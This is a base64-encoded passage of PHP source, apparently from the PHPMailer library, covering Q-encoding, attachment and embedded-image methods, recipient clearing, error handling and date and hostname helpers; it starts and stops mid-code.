BhY2VfY29udiA9IGZhbHNlCiAgICApIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmVuY29kZVFQKCRzdHJpbmcsICRsaW5lX21heCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBzdHJpbmcgdXNpbmcgUSBlbmNvZGluZy4KICAgICAqIEBsaW5rIGh0dHA6Ly90b29scy5pZXRmLm9yZy9odG1sL3JmYzIwNDcKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0ciB0aGUgdGV4dCB0byBlbmNvZGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBvc2l0aW9uIFdoZXJlIHRoZSB0ZXh0IGlzIGdvaW5nIHRvIGJlIHVzZWQsIHNlZSB0aGUgUkZDIGZvciB3aGF0IHRoYXQgbWVhbnMKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZW5jb2RlUSgkc3RyLCAkcG9zaXRpb24gPSAndGV4dCcpCiAgICB7CiAgICAgICAgLy8gVGhlcmUgc2hvdWxkIG5vdCBiZSBhbnkgRU9MIGluIHRoZSBzdHJpbmcKICAgICAgICAkcGF0dGVybiA9ICcnOwogICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwgIlxuIiksICcnLCAkc3RyKTsKICAgICAgICBzd2l0Y2ggKHN0cnRvbG93ZXIoJHBvc2l0aW9uKSkgewogICAgICAgICAgICBjYXNlICdwaHJhc2UnOgogICAgICAgICAgICAgICAgLy8gUkZDIDIwNDcgc2VjdGlvbiA1LjMKICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gJ15BLVphLXowLTkhKitcLyAtJzsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAvKiogQG5vaW5zcGVjdGlvbiBQaHBNaXNzaW5nQnJlYWtTdGF0ZW1lbnRJbnNwZWN0aW9uICovCiAgICAgICAgICAgIGNhc2UgJ2NvbW1lbnQnOgogICAgICAgICAgICAgICAgLy8gUkZDIDIwNDcgc2VjdGlvbiA1LjIKICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gJ1woXCkiJzsKICAgICAgICAgICAgICAgIC8vIGludGVudGlvbmFsIGZhbGwtdGhyb3VnaAogICAgICAgICAgICAgICAgLy8gZm9yIHRoaXMgcmVhc29uIHdlIGJ1aWxkIHRoZSAkcGF0dGVybiB3aXRob3V0IGluY2x1ZGluZyBkZWxpbWl0ZXJzIGFuZCBbXQogICAgICAgICAgICBjYXNlICd0ZXh0JzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vIFJGQyAyMDQ3IHNlY3Rpb24gNS4xCiAgICAgICAgICAgICAgICAvLyBSZXBsYWNlIGV2ZXJ5IGhpZ2ggYXNjaWksIGNvbnRyb2wsID0sID8gYW5kIF8gY2hhcmFjdGVycwogICAgICAgICAgICAgICAgJHBhdHRlcm4gPSAnXDAwMC1cMDExXDAxM1wwMTRcMDE2LVwwMzdcMDc1XDA3N1wxMzdcMTc3LVwzNzcnIC4gJHBhdHRlcm47CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgJG1hdGNoZXMgPSBhcnJheSgpOwogICAgICAgIGlmIChwcmVnX21hdGNoX2FsbCgiL1t7JHBhdHRlcm59XS8iLCAkZW5jb2RlZCwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgIC8vIElmIHRoZSBzdHJpbmcgY29udGFpbnMgYW4gJz0nLCBtYWtlIHN1cmUgaXQncyB0aGUgZmlyc3QgdGhpbmcgd2UgcmVwbGFjZQogICAgICAgICAgICAvLyBzbyBhcyB0byBhdm9pZCBkb3VibGUtZW5jb2RpbmcKICAgICAgICAgICAgJGVxa2V5ID0gYXJyYXlfc2VhcmNoKCc9JywgJG1hdGNoZXNbMF0pOwogICAgICAgICAgICBpZiAoZmFsc2UgIT09ICRlcWtleSkgewogICAgICAgICAgICAgICAgdW5zZXQoJG1hdGNoZXNbMF1bJGVxa2V5XSk7CiAgICAgICAgICAgICAgICBhcnJheV91bnNoaWZ0KCRtYXRjaGVzWzBdLCAnPScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5X3VuaXF1ZSgkbWF0Y2hlc1swXSkgYXMgJGNoYXIpIHsKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoJGNoYXIsICc9JyAuIHNwcmludGYoJyUwMlgnLCBvcmQoJGNoYXIpKSwgJGVuY29kZWQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIC8vIFJlcGxhY2UgZXZlcnkgc3BhY2VzIHRvIF8gKG1vcmUgcmVhZGFibGUgdGhhbiA9MjApCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCcgJywgJ18nLCAkZW5jb2RlZCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSBzdHJpbmcgb3IgYmluYXJ5IGF0dGFjaG1lbnQgKG5vbi1maWxlc3lzdGVtKS4KICAgICAqIFRoaXMgbWV0aG9kIGNhbiBiZSB1c2VkIHRvIGF0dGFjaCBhc2NpaSBvciBiaW5hcnkgZGF0YSwKICAgICAqIHN1Y2ggYXMgYSBCTE9CIHJlY29yZCBmcm9tIGEgZGF0YWJhc2UuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgU3RyaW5nIGF0dGFjaG1lbnQgZGF0YS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lIE5hbWUgb2YgdGhlIGF0dGFjaG1lbnQuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBleHRlbnNpb24gKE1JTUUpIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkU3RyaW5nQXR0YWNobWVudCgKICAgICAgICAkc3RyaW5nLAogICAgICAgICRmaWxlbmFtZSwKICAgICAgICAkZW5jb2RpbmcgPSAnYmFzZTY0JywKICAgICAgICAkdHlwZSA9ICcnLAogICAgICAgICRkaXNwb3NpdGlvbiA9ICdhdHRhY2htZW50JwogICAgKSB7CiAgICAgICAgLy8gSWYgYSBNSU1FIHR5cGUgaXMgbm90IHNwZWNpZmllZCwgdHJ5IHRvIHdvcmsgaXQgb3V0IGZyb20gdGhlIGZpbGUgbmFtZQogICAgICAgIGlmICgkdHlwZSA9PSAnJykgewogICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRmaWxlbmFtZSk7CiAgICAgICAgfQogICAgICAgIC8vIEFwcGVuZCB0byAkYXR0YWNobWVudCBhcnJheQogICAgICAgICR0aGlzLT5hdHRhY2htZW50W10gPSBhcnJheSgKICAgICAgICAgICAgMCA9PiAkc3RyaW5nLAogICAgICAgICAgICAxID0+ICRmaWxlbmFtZSwKICAgICAgICAgICAgMiA9PiBiYXNlbmFtZSgkZmlsZW5hbWUpLAogICAgICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICAgICAgNCA9PiAkdHlwZSwKICAgICAgICAgICAgNSA9PiB0cnVlLCAvLyBpc1N0cmluZ0F0dGFjaG1lbnQKICAgICAgICAgICAgNiA9PiAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgIDcgPT4gMAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYW4gZW1iZWRkZWQgKGlubGluZSkgYXR0YWNobWVudCBmcm9tIGEgZmlsZS4KICAgICAqIFRoaXMgY2FuIGluY2x1ZGUgaW1hZ2VzLCBzb3VuZHMsIGFuZCBqdXN0IGFib3V0IGFueSBvdGhlciBkb2N1bWVudCB0eXBlLgogICAgICogVGhlc2UgZGlmZmVyIGZyb20gJ3JlZ3VsYXInIGF0dGFjaG1lbnRzIGluIHRoYXQgdGhleSBhcmUgaW50ZW5kZWQgdG8gYmUKICAgICAqIGRpc3BsYXllZCBpbmxpbmUgd2l0aCB0aGUgbWVzc2FnZSwgbm90IGp1c3QgYXR0YWNoZWQgZm9yIGRvd25sb2FkLgogICAgICogVGhpcyBpcyB1c2VkIGluIEhUTUwgbWVzc2FnZXMgdGhhdCBlbWJlZCB0aGUgaW1hZ2VzCiAgICAgKiB0aGUgSFRNTCByZWZlcnMgdG8gdXNpbmcgdGhlICRjaWQgdmFsdWUuCiAgICAgKiBOZXZlciB1c2UgYSB1c2VyLXN1cHBsaWVkIHBhdGggdG8gYSBmaWxlIQogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBQYXRoIHRvIHRoZSBhdHRhY2htZW50LgogICAgICogQHBhcmFtIHN0cmluZyAkY2lkIENvbnRlbnQgSUQgb2YgdGhlIGF0dGFjaG1lbnQ7IFVzZSB0aGlzIHRvIHJlZmVyZW5jZQogICAgICogICAgICAgIHRoZSBjb250ZW50IHdoZW4gdXNpbmcgYW4gZW1iZWRkZWQgaW1hZ2UgaW4gSFRNTC4KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgT3ZlcnJpZGVzIHRoZSBhdHRhY2htZW50IG5hbWUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBNSU1FIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEByZXR1cm4gYm9vbGVhbiBUcnVlIG9uIHN1Y2Nlc3NmdWxseSBhZGRpbmcgYW4gYXR0YWNobWVudAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkRW1iZWRkZWRJbWFnZSgkcGF0aCwgJGNpZCwgJG5hbWUgPSAnJywgJGVuY29kaW5nID0gJ2Jhc2U2NCcsICR0eXBlID0gJycsICRkaXNwb3NpdGlvbiA9ICdpbmxpbmUnKQogICAgewogICAgICAgIGlmICghc2VsZjo6aXNQZXJtaXR0ZWRQYXRoKCRwYXRoKSBvciAhQGlzX2ZpbGUoJHBhdGgpKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZmlsZV9hY2Nlc3MnKSAuICRwYXRoKTsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KCiAgICAgICAgLy8gSWYgYSBNSU1FIHR5cGUgaXMgbm90IHNwZWNpZmllZCwgdHJ5IHRvIHdvcmsgaXQgb3V0IGZyb20gdGhlIGZpbGUgbmFtZQogICAgICAgIGlmICgkdHlwZSA9PSAnJykgewogICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsKICAgICAgICB9CgogICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRwYXRoKTsKICAgICAgICBpZiAoJG5hbWUgPT0gJycpIHsKICAgICAgICAgICAgJG5hbWUgPSAkZmlsZW5hbWU7CiAgICAgICAgfQoKICAgICAgICAvLyBBcHBlbmQgdG8gJGF0dGFjaG1lbnQgYXJyYXkKICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgICAgICAgIDAgPT4gJHBhdGgsCiAgICAgICAgICAgIDEgPT4gJGZpbGVuYW1lLAogICAgICAgICAgICAyID0+ICRuYW1lLAogICAgICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICAgICAgNCA9PiAkdHlwZSwKICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgIDYgPT4gJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICA3ID0+ICRjaWQKICAgICAgICApOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGVtYmVkZGVkIHN0cmluZ2lmaWVkIGF0dGFjaG1lbnQuCiAgICAgKiBUaGlzIGNhbiBpbmNsdWRlIGltYWdlcywgc291bmRzLCBhbmQganVzdCBhYm91dCBhbnkgb3RoZXIgZG9jdW1lbnQgdHlwZS4KICAgICAqIEJlIHN1cmUgdG8gc2V0IHRoZSAkdHlwZSB0byBhbiBpbWFnZSB0eXBlIGZvciBpbWFnZXM6CiAgICAgKiBKUEVHIGltYWdlcyB1c2UgJ2ltYWdlL2pwZWcnLCBHSUYgdXNlcyAnaW1hZ2UvZ2lmJywgUE5HIHVzZXMgJ2ltYWdlL3BuZycuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgVGhlIGF0dGFjaG1lbnQgYmluYXJ5IGRhdGEuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRjaWQgQ29udGVudCBJRCBvZiB0aGUgYXR0YWNobWVudDsgVXNlIHRoaXMgdG8gcmVmZXJlbmNlCiAgICAgKiAgICAgICAgdGhlIGNvbnRlbnQgd2hlbiB1c2luZyBhbiBlbWJlZGRlZCBpbWFnZSBpbiBIVE1MLgogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgRmlsZSBlbmNvZGluZyAoc2VlICRFbmNvZGluZykuCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0eXBlIE1JTUUgdHlwZS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGRpc3Bvc2l0aW9uIERpc3Bvc2l0aW9uIHRvIHVzZQogICAgICogQHJldHVybiBib29sZWFuIFRydWUgb24gc3VjY2Vzc2Z1bGx5IGFkZGluZyBhbiBhdHRhY2htZW50CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRTdHJpbmdFbWJlZGRlZEltYWdlKAogICAgICAgICRzdHJpbmcsCiAgICAgICAgJGNpZCwKICAgICAgICAkbmFtZSA9ICcnLAogICAgICAgICRlbmNvZGluZyA9ICdiYXNlNjQnLAogICAgICAgICR0eXBlID0gJycsCiAgICAgICAgJGRpc3Bvc2l0aW9uID0gJ2lubGluZScKICAgICkgewogICAgICAgIC8vIElmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBuYW1lCiAgICAgICAgaWYgKCR0eXBlID09ICcnIGFuZCAhZW1wdHkoJG5hbWUpKSB7CiAgICAgICAgICAgICR0eXBlID0gc2VsZjo6ZmlsZW5hbWVUb1R5cGUoJG5hbWUpOwogICAgICAgIH0KCiAgICAgICAgLy8gQXBwZW5kIHRvICRhdHRhY2htZW50IGFycmF5CiAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnRbXSA9IGFycmF5KAogICAgICAgICAgICAwID0+ICRzdHJpbmcsCiAgICAgICAgICAgIDEgPT4gJG5hbWUsCiAgICAgICAgICAgIDIgPT4gJG5hbWUsCiAgICAgICAgICAgIDMgPT4gJGVuY29kaW5nLAogICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICA1ID0+IHRydWUsIC8vIGlzU3RyaW5nQXR0YWNobWVudAogICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgNyA9PiAkY2lkCiAgICAgICAgKTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGlubGluZSBhdHRhY2htZW50IGlzIHByZXNlbnQuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpbmxpbmVJbWFnZUV4aXN0cygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiBhbiBhdHRhY2htZW50IChub24taW5saW5lKSBpcyBwcmVzZW50LgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhdHRhY2htZW50RXhpc3RzKCkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+YXR0YWNobWVudCBhcyAkYXR0YWNobWVudCkgewogICAgICAgICAgICBpZiAoJGF0dGFjaG1lbnRbNl0gPT0gJ2F0dGFjaG1lbnQnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiB0aGlzIG1lc3NhZ2UgaGFzIGFuIGFsdGVybmF0aXZlIGJvZHkgc2V0LgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhbHRlcm5hdGl2ZUV4aXN0cygpCiAgICB7CiAgICAgICAgcmV0dXJuICFlbXB0eSgkdGhpcy0+QWx0Qm9keSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBxdWV1ZWQgYWRkcmVzc2VzIG9mIGdpdmVuIGtpbmQuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHBhcmFtIHN0cmluZyAka2luZCAndG8nLCAnY2MnLCBvciAnYmNjJwogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhclF1ZXVlZEFkZHJlc3Nlcygka2luZCkKICAgIHsKICAgICAgICAkUmVjaXBpZW50c1F1ZXVlID0gJHRoaXMtPlJlY2lwaWVudHNRdWV1ZTsKICAgICAgICBmb3JlYWNoICgkUmVjaXBpZW50c1F1ZXVlIGFzICRhZGRyZXNzID0+ICRwYXJhbXMpIHsKICAgICAgICAgICAgaWYgKCRwYXJhbXNbMF0gPT0gJGtpbmQpIHsKICAgICAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5SZWNpcGllbnRzUXVldWVbJGFkZHJlc3NdKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIENsZWFyIGFsbCBUbyByZWNpcGllbnRzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckFkZHJlc3NlcygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0bykgewogICAgICAgICAgICB1bnNldCgkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkdG9bMF0pXSk7CiAgICAgICAgfQogICAgICAgICR0aGlzLT50byA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPmNsZWFyUXVldWVkQWRkcmVzc2VzKCd0bycpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIENDIHJlY2lwaWVudHMuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQ0NzKCkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+Y2MgYXMgJGNjKSB7CiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRjY1swXSldKTsKICAgICAgICB9CiAgICAgICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+Y2xlYXJRdWV1ZWRBZGRyZXNzZXMoJ2NjJyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgQkNDIHJlY2lwaWVudHMuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQkNDcygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmJjYyBhcyAkYmNjKSB7CiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRiY2NbMF0pXSk7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5iY2MgPSBhcnJheSgpOwogICAgICAgICR0aGlzLT5jbGVhclF1ZXVlZEFkZHJlc3NlcygnYmNjJyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgUmVwbHlUbyByZWNpcGllbnRzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhclJlcGx5VG9zKCkKICAgIHsKICAgICAgICAkdGhpcy0+UmVwbHlUbyA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPlJlcGx5VG9RdWV1ZSA9IGFycmF5KCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgcmVjaXBpZW50IHR5cGVzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckFsbFJlY2lwaWVudHMoKQogICAgewogICAgICAgICR0aGlzLT50byA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+YmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+YWxsX3JlY2lwaWVudHMgPSBhcnJheSgpOwogICAgICAgICR0aGlzLT5SZWNpcGllbnRzUXVldWUgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIGZpbGVzeXN0ZW0sIHN0cmluZywgYW5kIGJpbmFyeSBhdHRhY2htZW50cy4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY2xlYXJBdHRhY2htZW50cygpCiAgICB7CiAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnQgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIGN1c3RvbSBoZWFkZXJzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckN1c3RvbUhlYWRlcnMoKQogICAgewogICAgICAgICR0aGlzLT5DdXN0b21IZWFkZXIgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGVycm9yIG1lc3NhZ2UgdG8gdGhlIGVycm9yIGNvbnRhaW5lci4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtc2cKICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc2V0RXJyb3IoJG1zZykKICAgIHsKICAgICAgICAkdGhpcy0+ZXJyb3JfY291bnQrKzsKICAgICAgICBpZiAoJHRoaXMtPk1haWxlciA9PSAnc210cCcgYW5kICFpc19udWxsKCR0aGlzLT5zbXRwKSkgewogICAgICAgICAgICAkbGFzdGVycm9yID0gJHRoaXMtPnNtdHAtPmdldEVycm9yKCk7CiAgICAgICAgICAgIGlmICghZW1wdHkoJGxhc3RlcnJvclsnZXJyb3InXSkpIHsKICAgICAgICAgICAgICAgICRtc2cgLj0gJHRoaXMtPmxhbmcoJ3NtdHBfZXJyb3InKSAuICRsYXN0ZXJyb3JbJ2Vycm9yJ107CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ2RldGFpbCddKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgLj0gJyBEZXRhaWw6ICcuICRsYXN0ZXJyb3JbJ2RldGFpbCddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbGFzdGVycm9yWydzbXRwX2NvZGUnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkbXNnIC49ICcgU01UUCBjb2RlOiAnIC4gJGxhc3RlcnJvclsnc210cF9jb2RlJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ3NtdHBfY29kZV9leCddKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgLj0gJyBBZGRpdGlvbmFsIFNNVFAgaW5mbzogJyAuICRsYXN0ZXJyb3JbJ3NtdHBfY29kZV9leCddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICR0aGlzLT5FcnJvckluZm8gPSAkbXNnOwogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJuIGFuIFJGQyA4MjIgZm9ybWF0dGVkIGRhdGUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZmNEYXRlKCkKICAgIHsKICAgICAgICAvLyBTZXQgdGhlIHRpbWUgem9uZSB0byB3aGF0ZXZlciB0aGUgZGVmYXVsdCBpcyB0byBhdm9pZCA1MDAgZXJyb3JzCiAgICAgICAgLy8gV2lsbCBkZWZhdWx0IHRvIFVUQyBpZiBpdCdzIG5vdCBzZXQgcHJvcGVybHkgaW4gcGhwLmluaQogICAgICAgIGRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoQGRhdGVfZGVmYXVsdF90aW1lem9uZV9nZXQoKSk7CiAgICAgICAgcmV0dXJuIGRhdGUoJ0QsIGogTSBZIEg6aTpzIE8nKTsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCB0aGUgc2VydmVyIGhvc3RuYW1lLgogICAgICogUmV0dXJucyAnbG9jYWxob3N0LmxvY2FsZG9tYWluJyBpZiB1bmtub3duLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBzZXJ2ZXJIb3N0bmFtZSgpCiAgICB7CiAgICAgICAgJHJlc3VsdCA9ICdsb2NhbGhvc3QubG9jYWxkb21haW4nOwogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkhvc3RuYW1lKSkgewogICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPkhvc3RuYW1lOwogICAgICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUikgYW5kIGFycmF5X2tleV9leGlzdHMoJ1NFUlZFUl9OQU1FJywgJF9TRVJWRVIpIGFuZCAhZW1wdHkoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRob3N0bmFtZScpICYmIGdldGhvc3RuYW1lKCkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSBnZXRob3N0bmFtZSgpOwogICAgICAgIH0gZWxzZWlmIChwaHBfdW5hbWUoJ24nKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJHJlc3VsdCA9IHBocF91bmFtZSgnbicpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCBhbiBlcnJvciBtZXNzYWdlIGluIHRoZSBjdXJyZW50IGxhbmd1YWdlLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGtleQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGxhbmcoJGtleSkKICAgIHsKICAgICAgICBpZiAoY291bnQoJHRoaXMtPmxhbmd1YWdlKSA8IDEpIHsKICAgICAgICAgICAgJHRoaXMtPnNldExhbmd1YWdlKCdlbicpOyAvLyBzZXQgdGhlIGRlZmF1bHQgbGFuZ3VhZ2UKICAgICAgICB9CgogICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCRrZXksICR0aGlzLT5sYW5ndWFnZSkpIHsKICAgICAgICAgICAgaWYgKCRrZXkgPT0gJ3NtdHBfY29ubmVjdF9mYWlsZWQnKSB7CiAgICAgICAgICAgICAgICAvL0luY2x1ZGUgYSBsaW5rIHRvIHRyb3VibGVzaG9vdGluZyBkb2NzIG9uIFNNVFAgY29ubmVjdGlvbiBmYWlsdXJlCiAgICAgICAgICAgICAgICAvL3RoaXMgaXMgYnkgZmFyIHRoZSBiaWdnZXN0IGNhdXNlIG9mIHN1cHBvcnQgcXVlc3Rpb25zCiAgICAgICAgICAgICAgICAvL2J1dCBpdCdzIHVzdWFsbHkgbm90IFBIUE1haWxlcidzIGZhdWx0LgogICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5sYW5ndWFnZVska2V5XSAuICcgaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIvd2lraS9Ucm91Ymxlc2hvb3RpbmcnOwogICAgICAgICAgICB9